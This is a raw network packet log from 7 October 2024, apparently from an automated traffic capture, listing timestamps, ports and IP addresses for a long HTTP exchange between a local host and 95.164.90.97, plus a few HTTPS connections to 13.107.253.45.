Oct 7, 2024 21:18:41.482717991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482752085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482764006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482785940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482795954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482827902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482836962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482871056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482882023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482907057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482911110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482942104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482948065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482975960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482983112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483011007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483016968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483043909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483082056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483089924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483119011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483165979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483258963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483268023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483295918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483302116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483319044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483338118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483342886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483371973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483375072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483412981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483459949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483493090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483499050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483534098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483544111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483546972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483566999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483577967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483584881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483613968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483618975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483648062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483654976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483681917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483685970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483711958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483721018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483747005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483750105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483781099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483791113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483815908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483823061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.483850956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.483858109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.484222889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.484261036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.484270096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.484272957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.484294891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.484318018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.503896952 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.504163980 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.523411036 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.523999929 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.524035931 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.524094105 CEST	49869	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.549765110 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.581607103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581696987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581728935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581780910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581790924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.581816912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581836939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.581851959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581859112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.581890106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581897974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.581935883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.581938982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581973076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.581984997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582006931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582016945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582041979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582052946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582079887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582186937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582221031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582232952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582256079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582264900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582289934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582324982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582340002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582359076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582370043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582392931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582401991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582428932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582437038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582473040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582506895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582540989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582551956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582652092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582685947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582714081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582720995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582726002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582758904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582793951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582806110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582828045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582837105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.582864046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.582911015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583059072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583091974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583128929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583142042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583163977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583175898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583199978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583233118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583255053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583266973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583283901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583302021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583312035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583338022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583373070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583388090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583419085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583462000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583497047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583508015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583543062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583769083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583801985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583817959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583837032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583848000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583870888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583877087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583908081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583924055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583942890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583952904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.583977938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.583986044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584009886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584017038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584044933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584053993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584080935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584090948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584115982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584125042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584151030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584160089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584186077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584194899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584222078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584230900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584256887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584290981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584305048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584325075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584333897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584359884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584403038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584712029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584745884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584779024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584796906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584811926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584821939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584847927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584858894 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584883928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584918022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584929943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584952116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584966898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.584985018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.584995985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585020065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585053921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585066080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585088015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585093975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585123062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585155964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585170984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585189104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585197926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585223913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585233927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585259914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585268021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585294962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585304022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585338116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585741997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585791111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585796118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585832119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585836887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585867882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585876942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585907936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585942984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585954905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.585977077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.585984945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586014032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586049080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586064100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586091995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586162090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586195946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586224079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586229086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586232901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586263895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586272001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586298943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586308002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586333990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586343050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586368084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586379051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586402893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586412907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586436033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586447001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586452007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586468935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586476088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586484909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586494923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586500883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586508989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586519003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586529016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586534977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586549044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586550951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586563110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586566925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.586582899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.586616993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587004900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587023020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587045908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587064028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587074041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587079048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587081909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587095976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587112904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587119102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587129116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587146044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587151051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587161064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587172031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587181091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587197065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587205887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587215900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587233067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.587238073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587250948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.587280989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.594722986 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.594743967 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.595143080 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.595146894 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.617913961 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.617942095 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.618370056 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.618377924 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.619235992 CEST	49869	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.619266033 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.619283915 CEST	49869	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.619292021 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.664068937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664099932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664123058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664136887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664150000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664150953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664170980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664174080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664196014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664200068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664212942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664222002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664242029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664258957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664352894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664376020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664396048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664397955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664412022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664419889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664437056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664443970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664454937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664480925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664707899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664729118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664752007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664772987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664772987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.664829016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664829016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.664865017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665057898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665079117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665100098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665101051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665123940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665126085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665153027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665163040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.665221930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.665242910 CEST	80	49810	95.164.90.97	192.168.2.5
